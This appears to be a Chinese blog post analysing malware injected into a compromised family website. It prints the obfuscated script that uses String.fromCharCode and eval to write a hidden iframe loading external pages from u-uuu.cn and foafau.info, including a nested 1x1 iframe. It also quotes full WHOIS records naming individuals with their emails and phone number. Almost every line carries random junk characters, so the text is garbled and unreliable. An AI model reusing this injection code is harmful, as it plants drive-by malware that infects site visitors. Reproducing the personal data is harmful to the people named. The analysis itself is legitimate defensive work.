首发在我的博客里面，
W v!<bT8r d~ng6pA http://www.areway.cn/?p=175 K#K\-TR|$ Aox3s ? e=/&(Y 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
LT+3q%W.UC 'ul\Q `N3 <script>t=’60,105,102,114,97,109,101,
K8^kJSF\ 32,115,114,99,61,104,116,116,112,58,47,47,
ly4Qg\l 102,114,101,101,46,117,45,117,117,117,46,99,
0"xPX#Cvj 110,47,101,114,114,111,114,46,104,116,109,
rFJ[dz 32,119,105,100,116,104,61,49,48,48,32,104,
%-;b u| 101,105,103,104,116,61,48,62,60,47,105,102,
yy2Ie 114,97,109,101,62′;
#
Oup^ o@ t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
AyE\fY5 &h$|j <script>t=’60,105,102,114,97,109,101,32,115,
Y9 r3XhVI 114,99,61,104,116,116,112,58,47,47,102,114,
}bB` (B,m 101,101,46,117,45,117,117,117,46,99,110,47,
h3u1K>R) 101,114,114,111,114,46,104,116,109,32,119,
ED![^= 105,100,116,104,61,49,48,48,32,104,101,105,
K.> wQA& 103,104,116,61,48,62,60,47,105,102,114,97,
-ewQp9)G 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
V7=SV:+1or document.write(t);</script>
kpfwqHT "o c $ <html xmlns=”
FE5Q?*Ea http://www.w3.org/1999/xhtml !UV5 zmS “>
`?s .\Dh <head>
}GHxG9!z <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
US? Rr <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
~el-*=<m <title>首页 - 爱生活家庭网
_JGs}aQ ro| vh\y 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
I#A2)V0P) 转换字符串后的大概内容是（谁点击后果自付）：
(!K+P[g <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
NVIWWX9? $v;dV@tB 查询玉米u-uuu.cn的详细信息：
P-z`c\Rt Domain Name: u-uuu.cn
8IY19>4'5J ROID: 20070901s10001s64972306-cn
8KjRCm,I Domain Status: ok
u@ N~1@RT| Registrant Organization: 王雷
k1N$+h
;\ Registrant Name: 王雷
: iY$82wQ Administrative Email:
czlovexs@126.com b^ V'BC3 Sponsoring Registrar: 北京万网志成科技有限公司
PjqeE,5 Name Server:ns.yovole.com
XYbyOM VI Name Server:ns1.yovole.com
?{J!#`tfV Registration Date: 2007-09-01 17:54
:.IN?X Expiration Date: 2008-09-01 17:54
}VRv sZ 最后PING了一下地址 都没有什么….
9zKBO* p` O+ .*lo 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
/NBTvTI <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
H 30OUrD <script language=”javascript” src=”
H/cTJ9 zz http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script *v #/Y9} >
F&@ |M( 这个玉米应该有可能是木马作者的：
o42`z>~ foafau.info的详细信息：
ku.A|+Tn Access to INFO WHOIS information is provided to assist persons in
y$ oW! determining the contents of a domain name registration record in the
Z[IM<S9lz Afilias registry database. The data in this record is provided by
VuWib+fT Afilias Limited for informational purposes only, and Afilias does not
yFeeG3 n3 guarantee its accuracy. This service is intended only for query-based
!= zx access. You agree that you will use this data only for lawful purposes
YF[$Q=7. and that, under no circumstances will you use this data to: (a) allow,
L$JI43HZ enable, or otherwise support the transmission by e-mail, telephone, or
r,'O ).7 facsimile of mass unsolicited, commercial advertising or solicitations
G(OFr2M to entities other than the data recipient’s own existing customers; or
vl5){@
(b) enable high volume, automated, electronic processes that send
%x2b0L\g queries or data to the systems of Registry Operator, a Registrar, or
\|q-+4]@, Afilias except as reasonably necessary to register domain names or
`jW 4H$D modify existing registrations. All rights reserved. Afilias reserves
ba&o;BLUy the right to modify these terms at any time. By submitting this query,
TA)LPBG you agree to abide by this policy.
$%He$t Domain ID:D22418703-LRMS
J:};n@< Domain Name:FOAFAU.INFO
p {C9`wi) Created On:20-Nov-2007 16:05:42 UTC
FzhT$7Gw Last Updated On:20-Nov-2007 16:05:44 UTC
%cj58zO |y Expiration Date:20-Nov-2008 16:05:42 UTC
?aJ6ug Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
&z k sRX Status:CLIENT DELETE PROHIBITED
5c;En6W Status:CLIENT RENEW PROHIBITED
iwo $\ Status:CLIENT TRANSFER PROHIBITED
uC[d% v` Status:CLIENT UPDATE PROHIBITED
a|.20w5 Status:TRANSFER PROHIBITED
TcZN % Registrant ID:GODA-040110615
"_)|8|gN Registrant Name:liu hong
"^"'uO$ Registrant Organization:
1f;or_f#k? Registrant Street1:beijing
cHEz{'1m Registrant Street2:
)*HjRTF6G Registrant Street3:
Sh$U-ch@ Registrant City:beijing
o*;2mFP Registrant State/Province:
{G.jB/ Registrant Postal Code:100000
"WP% REE! Registrant Country:CN
Oxj(g;} Registrant Phone:+86.860108888777
7vNtv9 Registrant Phone Ext.:
GC?S];PL Registrant FAX:
xppkLoPK Registrant FAX Ext.:
"G kI5! Registrant Email:bbbshiji@163.com
|D(&w+( Admin ID:GODA-240110615
<?4cWp|i Admin Name:liu hong
Q
3X
Admin Organization:
a
8-;
Admin Street1:beijing
<i7agEdZD Admin Street2:
{g@A> Admin Street3:
%^U"Spv; Admin City:beijing
kYtHX ~@ Admin State/Province:
3.~h6r5- Admin Postal Code:100000
Zly-\ z_ Admin Country:CN
# nbn K Admin Phone:+86.860108888777
|Cq8% Admin Phone Ext.:
q xSs
~Qc Admin FAX:
p_gA/. v= Admin FAX Ext.:
8E
9{
Gf Admin Email:bbbshiji@163.com
jQs* (=ls Billing ID:GODA-340110615
8.-S$^hj~6 Billing Name:liu hong
\N yr=<c Billing Organization:
O sB?1;: Billing Street1:beijing
'tut4SwC Billing Street2:
F'ENq6 Billing Street3:
M b~~A5 Billing City:beijing
_y"a2M Billing State/Province:
k!9= Billing Postal Code:100000
HoV{U zm Billing Country:CN
hw|t8 ShW Billing Phone:+86.860108888777
MyqiBGTb Billing Phone Ext.:
1oB$u!6P Billing FAX:
J$#D:KaU:N Billing FAX Ext.:
>mew"0Q Billing Email:bbbshiji@163.com
L1rA T Tech ID:GODA-140110615
nrF!;:x Tech Name:liu hong
"B~WcC Tech Organization:
~R'BU=!;F Tech Street1:beijing
zF=#6 Tech Street2:
e7lo!( > # Tech Street3:
Mc!2mE%47m Tech City:beijing
i<J^:7 Tech State/Province:
t z"5+uuu Tech Postal Code:100000
L%k67> Tech Country:CN
A0UV+ -PP Tech Phone:+86.860108888777
Lp!0H `L Tech Phone Ext.:
2'|XtSj Tech FAX:
Oe/73|
>U Tech FAX Ext.:
0c`sb+? Tech Email:bbbshiji@163.com
:&qC <UD Name Server:NS27.DOMAINCONTROL.COM
(I>HWRH Name Server:NS28.DOMAINCONTROL.COM
2 ae w6~ Name Server:
kHGeCJe\{ Name Server:
F9v)R #u~ Name Server:
FLK"|*A Name Server:
`S5>0r5[ Name Server:
v*smI7aH Name Server:
V/@[%w= Name Server:
JJ^iy*v Name Server:
zNNzsT8na Name Server:
58M'r{8_ Name Server:
5Xp$ yX = Name Server:
0Ei\VVK> jK&
Nkp 接着下载每个文件里面的代码：
e_YW~z=6t 一步一步看..
'=KuJ0`nE9 
l*~"5f 03 
jXc5fXO
N 
#N<s^KYG- 
_bN))9
3 
113Z@ F 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
